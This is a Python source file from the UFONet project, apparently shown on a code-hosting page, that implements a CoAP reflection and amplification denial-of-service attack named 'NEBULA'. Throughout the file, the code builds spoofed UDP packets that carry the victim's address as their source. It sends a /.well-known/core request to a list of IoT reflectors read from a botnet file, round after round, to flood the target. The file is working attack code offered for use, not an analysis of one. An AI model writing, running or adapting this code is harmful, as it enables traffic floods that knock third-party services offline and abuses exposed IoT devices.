coap.py 3.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import sys, random, socket
  11. from urllib.parse import urlparse
  12. try:
  13. from scapy.all import *
  14. except ImportError:
  15. from core._ensure import ensure
  16. if ensure('scapy.all', 'scapy') is None:
  17. print("\nError importing: scapy lib.\n")
  18. sys.exit(2)
  19. from scapy.all import *
  20. coap_file = "botnet/coap.txt"
  21. # UFONet CoAP Amplification (NEBULA) - amp factor ~30x (RFC 7252, GET /.well-known/core)
  22. def nebulize(ip, rounds):
  23. n=0
  24. try:
  25. from core._botnet import load_botnet_file, warn_placeholders
  26. reflectors, _empty, _all_placeholder = load_botnet_file(coap_file)
  27. if _empty:
  28. print("[Error] [AI] [NEBULA] botnet/coap.txt is empty -> [Aborting!]")
  29. return
  30. if _all_placeholder:
  31. warn_placeholders("NEBULA", coap_file, kind="coap")
  32. return
  33. payload = (b'\x40\x01\x12\x34'
  34. b'\xbb' + b'.well-known'
  35. + b'\x04' + b'core')
  36. for x in range(int(rounds)):
  37. n += 1
  38. print("[Info] [AI] [NEBULA] Stretching 'nebula' ["+str(n)+"] toward iot mesh! -> [SLOWING!]")
  39. for r in reflectors:
  40. try:
  41. sport = random.randint(2000, 65535)
  42. packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=5683) / Raw(load=payload)
  43. send(packet, verbose=0)
  44. print("[Info] [AI] [NEBULA] Stretched 'nebula' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
  45. except:
  46. print("[Info] [AI] [NEBULA] Stretched 'nebula' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
  47. except:
  48. print("[Error] [AI] [NEBULA] Failing to engage... -> Is still target online? -> [Checking!]")
  49. class COAP(object):
  50. def attacking(self, target, rounds):
  51. print("[Info] [AI] CoAP Amplification (NEBULA) is ready to fire: [", rounds, "nebulae ]")
  52. if target.startswith('http://'):
  53. target = target.replace('http://','')
  54. elif target.startswith('https://'):
  55. target = target.replace('https://','')
  56. try:
  57. ip = socket.gethostbyname(target)
  58. except:
  59. try:
  60. import dns.resolver
  61. r = dns.resolver.Resolver()
  62. from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
  63. url = urlparse(target)
  64. a = r.resolve(url.netloc, "A")
  65. for rd in a:
  66. ip = str(rd)
  67. except:
  68. ip = target
  69. if ip == "127.0.0.1" or ip == "localhost":
  70. print("[Info] [AI] [NEBULA] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
  71. return
  72. nebulize(ip, rounds)